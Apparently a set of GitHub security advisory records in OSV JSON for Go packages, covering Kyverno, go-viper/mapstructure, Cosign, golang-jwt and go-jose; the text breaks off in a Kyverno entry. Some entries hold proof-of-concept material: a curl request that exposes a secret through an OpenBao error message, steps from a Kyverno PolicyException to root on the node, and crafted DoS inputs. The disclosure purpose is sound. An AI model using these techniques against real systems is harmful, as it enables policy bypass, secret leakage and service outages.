"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0-alpha.1"
},
{
"fixed": "1.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46342"
],
"database_specific": {
"cwe_ids": [
"CWE-1287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-29T16:39:33Z",
"nvd_published_at": "2025-04-30T15:16:02Z",
"severity": "HIGH"
},
"details": "### Summary\n\nDue to a missing error propagation in function `GetNamespaceSelectorsFromNamespaceLister` in `pkg/utils/engine/labels.go` it may happen that policy rules using namespace selector(s) in their `match` statements are mistakenly not applied during admission review request processing. As a consequence, security-critical mutations and validations are bypassed, potentially allowing attackers with K8s API access to perform malicious operations.\n\n### Details\n\nAs a policy engine Kyverno is a critical component ensuring the security of Kubernetes clusters by apply security-relevant policy rules in the Kubernetes admission control process.\n\nWe encountered a case where Kyverno did not apply policy rules which should have been applied. This happened in both the mutation and the validation phase of admission control. Effectively Kyverno handled the admission review requests as\nif those policy rules did not exist. Consequently, the Kube API request was accepted without applying security-relevant patches and validations.\n\nAs the root cause we identified a missing error propagation in function `GetNamespaceSelectorsFromNamespaceLister` in `pkg/utils/engine/labels.go` ([src][1]).\n\nAll affected policy rules use a namespace selector in their match resource filters like this:\n\n```yaml\nmatch:\n all:\n - resources:\n namespaceSelector:\n matchExpressions:\n - key: label1\n operator: Exists\n```\n\nSuch specification intents to apply rules only to resource objects which reside in a namespace whose labels match the given label expressions.\n\nWhen Kyverno handles an admission webhook, function `GetNamespaceSelectorsFromNamespaceLister` in package\n`github.com/kyverno/kyverno/pkg/utils/engine` ([src][1]) is called to retrieve the labels of the request object\u0027s namespace. This function gets the namespace object from a `\"k8s.io/client-go/listers/core/v1\".NamespaceLister`. In case the\nnamespace lister returns an error, `GetNamespaceSelectorsFromNamespaceLister` does NOT propagate this error to its caller, but returns an empty label map, which is equivalent to a namespace without any labels.\n\nThe returned label map is later used to select matching policy rules. If a rule has a resource filter with namespace selector, it will be mistakenly excluded or included.\n\nThe namespace lister fails to return the namespace object if the underlying `SharedIndexInformer` has not (yet) updated its cache. Those updates happen based on watch events from the Kube API Server, which does not guarantee any maximum delivery time. If the Kube API Server handling the watch is under high load or otherwise impaired (e.g. requests to etcd take longer due to pending leader election in HA setup) then informer cache updates can be delayed significantly. However, we did not find a way to reliably reproduce such condition.\n\nTo bypass Kyverno policies, an attacker may try to exploit the described misbehavior by:\n\n- putting the Kube API Server under load before sending requests that Kyverno policies should be bypassed for.\n\n- sending many request with a high rate to Kube API Server.\n\nWe did not try any of such attack vectors and therefore cannot prove their effectiveness.\n\nIn our scenario the Kyverno policies apply to pods in \"sandbox\" namespaces identified as such by certain labels. Those single-use namespaces and the pods therein are frequently created (and removed) by other controllers. Therefore, Kyverno often receives admission webhooks for objects whose namespace has been created shortly before.\n\n#### Correction Proposal\n\nFunction `GetNamespaceSelectorsFromNamespaceLister` in package `github.com/kyverno/kyverno/pkg/utils/engine` ([src][1]) should return an error instead of an empty label map in case it could not get the namespace object from the namespace lister. This error will then cause admission webhook processing to fail, which lets Kubernetes fail the Kube API request if the policy\u0027s failure policy is `Fail` (a must for security-relevant policies).\n\nIn addition, function `GetNamespaceSelectorsFromNamespaceLister` could retry (with deadline) to get the namespace object from the namespace lister in case of a NotFound error. But as admission webhook processing time should be kept as short as possible, this might not be a good idea.\n\nAnother option would be to perform a GET request for the namespace as a fallback in case the namespace lister returns a NotFound error.\n\n### PoC\n\nWe did not find a way to reliably reproduce such case.\n\n### Impact\n\nAdministrators attempting to enforce cluster security through Kyverno policies, but that allow less privileged users or service accounts to create/update/delete resources.\n\n\n[1]: https://github.com/kyverno/kyverno/blob/a96b1a4794b4d25cb0c6d72c05fc6355e95cf65c/pkg/utils/engine/labels.go#L10",
"id": "GHSA-jrr2-x33p-6hvc",
"modified": "2025-05-05T21:59:04Z",
"published": "2025-04-29T16:39:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-jrr2-x33p-6hvc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46342"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/3ff923b7756e1681daf73849954bd88516589194"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3652"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kyverno vulnerable to bypass of policy rules that use namespace selectors in match statements"
}
GHSA-QJVC-P88J-J9RM
Vulnerability from github – Published: 2024-10-29 14:44 – Updated: 2024-11-07 19:23Summary
A kyverno ClusterPolicy, ie. "disallow-privileged-containers," can be overridden by the creation of a PolicyException in a random namespace.
Details
By design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.
PoC
- Administrator creates "disallow-privileged-containers" ClusterPolicy that applies to resources in the namespace "ubuntu-restricted"
- Cluster user creates a PolicyException object for "disallow-privileged-containers" in namespace "ubuntu-restricted"
- Cluster user creates a pod with a privileged container in "ubuntu-restricted"
- Cluster user escalates to root on the node from the privileged container
Impact
Administrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48921"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-29T14:44:36Z",
"nvd_published_at": "2024-10-29T15:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nA kyverno ClusterPolicy, ie. \"disallow-privileged-containers,\" can be overridden by the creation of a PolicyException in a random namespace.\n\n### Details\nBy design, PolicyExceptions are consumed from any namespace. Administrators may not recognize that this allows users with privileges to non-kyverno namespaces to create exceptions.\n\n### PoC\n1. Administrator creates \"disallow-privileged-containers\" ClusterPolicy that applies to resources in the namespace \"ubuntu-restricted\"\n2. Cluster user creates a PolicyException object for \"disallow-privileged-containers\" in namespace \"ubuntu-restricted\"\n3. Cluster user creates a pod with a privileged container in \"ubuntu-restricted\" \n4. Cluster user escalates to root on the node from the privileged container\n\n### Impact\nAdministrators attempting to enforce cluster security through kyverno policies, but that allow less privileged users to create resources",
"id": "GHSA-qjvc-p88j-j9rm",
"modified": "2024-11-07T19:23:10Z",
"published": "2024-10-29T14:44:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-qjvc-p88j-j9rm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48921"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kyverno\u0027s PolicyException objects can be created in any namespace by default"
}
GHSA-FV92-FJC5-JJ9H
Vulnerability from github – Published: 2025-06-27 16:24 – Updated: 2025-06-27 16:24Summary
Use of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.
Details
OpenBao (and presumably HashiCorp Vault) have surfaced error messages from mapstructure as follows:
https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50
_, _, err := d.getPrimitive(field, schema)
if err != nil {
return fmt.Errorf("error converting input for field %q: %w", field, err)
}
where this calls mapstructure.WeakDecode(...): https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193
func (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {
raw, ok := d.Raw[k]
if !ok {
return nil, false, nil
}
switch t := schema.Type; t {
case TypeBool:
var result bool
if err := mapstructure.WeakDecode(raw, &result); err != nil {
return nil, false, err
}
return result, true, nil
Notably, WeakDecode(...) eventually calls one of the decode helpers, which surfaces the original value:
https://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L679-L686
https://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L726-L730
https://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L783-L787
& more.
PoC
To reproduce with OpenBao:
$ podman run -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300
and in a new tab:
$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass
Success! Enabled userpass auth method at: userpass/
$ curl -X PUT -H "X-Vault-Request: true" -H "X-Vault-Token: root" -d '{"password":{"asdf":"my-sensitive-value"}}' "http://localhost:8300/v1/auth/userpass/users/adsf"
{"errors":["error converting input for field \"password\": '' expected type 'string', got unconvertible type 'map[string]interface {}', value: 'map[asdf:my-sensitive-value]'"]}
Impact
This is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at '' expected a map, got 'string' -- when the field type is string and a map is provided, we see the above information leak -- the previous example had a map type field with a string value provided).
This was rated 4.5 Medium by HashiCorp in the past iteration.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-viper/mapstructure/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-27T16:24:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUse of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.\n\n### Details\n\nOpenBao (and presumably HashiCorp Vault) have surfaced error messages from `mapstructure` as follows:\n\nhttps://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50\n\n```go\n\t\t\t_, _, err := d.getPrimitive(field, schema)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error converting input for field %q: %w\", field, err)\n\t\t\t}\n```\n\nwhere this calls `mapstructure.WeakDecode(...)`: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193\n\n```go\n\nfunc (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {\n\traw, ok := d.Raw[k]\n\tif !ok {\n\t\treturn nil, false, nil\n\t}\n\n\tswitch t := schema.Type; t {\n\tcase TypeBool:\n\t\tvar result bool\n\t\tif err := mapstructure.WeakDecode(raw, \u0026result); err != nil {\n\t\t\treturn nil, false, err\n\t\t}\n\t\treturn result, true, nil\n```\n\nNotably, `WeakDecode(...)` eventually calls one of the decode helpers, which surfaces the original value:\n\nhttps://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L679-L686\n\nhttps://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L726-L730\n\nhttps://github.com/go-viper/mapstructure/blob/1a66224d5e54d8757f63bd66339cf764c3292c21/mapstructure.go#L783-L787\n\n\u0026 more.\n\n### PoC\n\nTo reproduce with OpenBao:\n\n```\n$ podman run -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300\n```\n\nand in a new tab:\n\n```\n$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass\nSuccess! Enabled userpass auth method at: userpass/\n$ curl -X PUT -H \"X-Vault-Request: true\" -H \"X-Vault-Token: root\" -d \u0027{\"password\":{\"asdf\":\"my-sensitive-value\"}}\u0027 \"http://localhost:8300/v1/auth/userpass/users/adsf\"\n{\"errors\":[\"error converting input for field \\\"password\\\": \u0027\u0027 expected type \u0027string\u0027, got unconvertible type \u0027map[string]interface {}\u0027, value: \u0027map[asdf:my-sensitive-value]\u0027\"]}\n```\n\n### Impact\n\nThis is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at `\u0027\u0027 expected a map, got \u0027string\u0027` -- when the field type is `string` and a `map` is provided, we see the above information leak -- the previous example had a `map` type field with a `string` value provided).\n\nThis was rated 4.5 Medium by HashiCorp in the past iteration.",
"id": "GHSA-fv92-fjc5-jj9h",
"modified": "2025-06-27T16:24:59Z",
"published": "2025-06-27T16:24:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-viper/mapstructure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mapstructure May Leak Sensitive Information in Logs When Processing Malformed Data"
}
GHSA-88JX-383Q-W4QC
Vulnerability from github – Published: 2024-04-11 17:05 – Updated: 2024-04-11 17:05Summary
A remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.
Details
The root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a SIGKILL after a few seconds of system-wide denial.
The root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:
https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239
...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of f *attached, go-containerregistry will invoke this API:
https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40
func (rl *remoteLayer) Compressed() (io.ReadCloser, error) {
// We don't want to log binary layers -- this can break terminals.
ctx := redact.NewContext(rl.ctx, "omitting binary blobs from logs")
return rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)
}
Notice that the second argument to rl.fetcher.fetchBlob is verify.SizeUnknown which results in not using the io.LimitReader in verify.ReadCloser:
https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100
func ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {
w, err := v1.Hasher(h.Algorithm)
if err != nil {
return nil, err
}
r2 := io.TeeReader(r, w) // pass all writes to the hasher.
if size != SizeUnknown {
r2 = io.LimitReader(r2, size) // if we know the size, limit to that size.
}
return &and.ReadCloser{
Reader: &verifyReader{
inner: r2,
hasher: w,
expected: h,
wantSize: size,
},
CloseFunc: r.Close,
}, nil
}
Impact
This issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer.
Remediation
Update to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/cosign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/cosign/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29902"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-11T17:05:01Z",
"nvd_published_at": "2024-04-10T23:15:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nA remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.\n\n### Details\nThe root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a `SIGKILL` after a few seconds of system-wide denial.\n\nThe root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:\n\nhttps://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239\n\n...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of `f *attached`, go-containerregistry will invoke this API:\n\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40\n```golang\nfunc (rl *remoteLayer) Compressed() (io.ReadCloser, error) {\n\t// We don\u0027t want to log binary layers -- this can break terminals.\n\tctx := redact.NewContext(rl.ctx, \"omitting binary blobs from logs\")\n\treturn rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)\n}\n```\n\nNotice that the second argument to `rl.fetcher.fetchBlob` is `verify.SizeUnknown` which results in not using the `io.LimitReader` in `verify.ReadCloser`:\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100\n```golang\nfunc ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {\n\tw, err := v1.Hasher(h.Algorithm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr2 := io.TeeReader(r, w) // pass all writes to the hasher.\n\tif size != SizeUnknown {\n\t\tr2 = io.LimitReader(r2, size) // if we know the size, limit to that size.\n\t}\n\treturn \u0026and.ReadCloser{\n\t\tReader: \u0026verifyReader{\n\t\t\tinner: r2,\n\t\t\thasher: w,\n\t\t\texpected: h,\n\t\t\twantSize: size,\n\t\t},\n\t\tCloseFunc: r.Close,\n\t}, nil\n}\n```\n\n### Impact\nThis issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer. \n\n### Remediation\nUpdate to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.",
"id": "GHSA-88jx-383q-w4qc",
"modified": "2024-04-11T17:05:01Z",
"published": "2024-04-11T17:05:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/security/advisories/GHSA-88jx-383q-w4qc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29902"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/commit/629f5f8fa672973503edde75f84dcd984637629e"
},
{
"type": "WEB",
"url": "https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/cosign"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/cosign/releases/tag/v2.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cosign malicious attachments can cause system-wide denial of service"
}
GHSA-MH63-6H87-95CP
Vulnerability from github – Published: 2025-03-21 22:04 – Updated: 2025-04-10 13:02Summary
Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.
As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Details
Impact
Excessive memory allocation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang-jwt/jwt/v5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-rc.1"
},
{
"fixed": "5.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang-jwt/jwt/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang-jwt/jwt"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"last_affected": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30204"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T22:04:00Z",
"nvd_published_at": "2025-03-21T22:15:26Z",
"severity": "HIGH"
},
"details": "### Summary\n\nFunction [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) its argument (which is untrusted data) on periods.\n\nAs a result, in the face of a malicious request whose _Authorization_ header consists of `Bearer ` followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function\u0027s argument), with a constant factor of about 16. Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Details\n\nSee [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) \n\n### Impact\n\nExcessive memory allocation",
"id": "GHSA-mh63-6h87-95cp",
"modified": "2025-04-10T13:02:34Z",
"published": "2025-03-21T22:04:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-mh63-6h87-95cp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30204"
},
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/commit/0951d184286dece21f73c85673fd308786ffe9c3"
},
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/commit/bf316c48137a1212f8d0af9288cc9ce8e59f1afb"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang-jwt/jwt"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250404-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jwt-go allows excessive memory allocation during header parsing"
}
GHSA-C5Q2-7R4C-MV6G
Vulnerability from github – Published: 2024-03-07 22:54 – Updated: 2025-02-13 19:07Impact
An attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.
Patches
The problem is fixed in the following packages and versions: - github.com/go-jose/go-jose/v4 version 4.0.1 - github.com/go-jose/go-jose/v3 version 3.0.3 - gopkg.in/go-jose/go-jose.v2 version 2.6.3
The problem will not be fixed in the following package because the package is archived: - gopkg.in/square/go-jose.v2
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/go-jose/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/square/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28180"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-07T22:54:44Z",
"nvd_published_at": "2024-03-09T01:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.\n\n### Patches\nThe problem is fixed in the following packages and versions:\n- github.com/go-jose/go-jose/v4 version 4.0.1\n- github.com/go-jose/go-jose/v3 version 3.0.3\n- gopkg.in/go-jose/go-jose.v2 version 2.6.3\n\nThe problem will not be fixed in the following package because the package is archived:\n- gopkg.in/square/go-jose.v2",
"id": "GHSA-c5q2-7r4c-mv6g",
"modified": "2025-02-13T19:07:25Z",
"published": "2024-03-07T22:54:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-c5q2-7r4c-mv6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28180"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/0dd4dd541c665fb292d664f77604ba694726f298"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/add6a284ea0f844fd6628cba637be5451fe4b28a"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/f4c051a0653d78199a053892f7619ebf96339502"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD2GSBQTBLYADASUBHHZV2CZPTSLIPQJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I6MMWFBOXJA6ZCXNVPDFJ4XMK5PVG5RG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IJ6LAJJ2FTA2JVVOACCV5RZTOIZLXUNJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JNPMXL36YGS3GQEVI3Q5HKHJ7YAAQXL5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KXKGNCRU7OTM5AHC7YIYBNOWI742PRMY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MSOMHDKRPU3A2JEMRODT2IREDFBLVPGS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UG5FSEYJ3GP27FZXC5YAAMMEC5XWKJHG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJO2U5ACZVACNQXJ5EBRFLFW6DP5BROY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJDO5VSIAOGT2WP63AXAAWNRSVJCNCRH"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)"
}
GHSA-R5P3-955P-5GGQ
Vulnerability from github – Published: 2025-07-22 14:24 – Updated: 2025-07-23 22:15Summary
A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | non_existent_function }}).
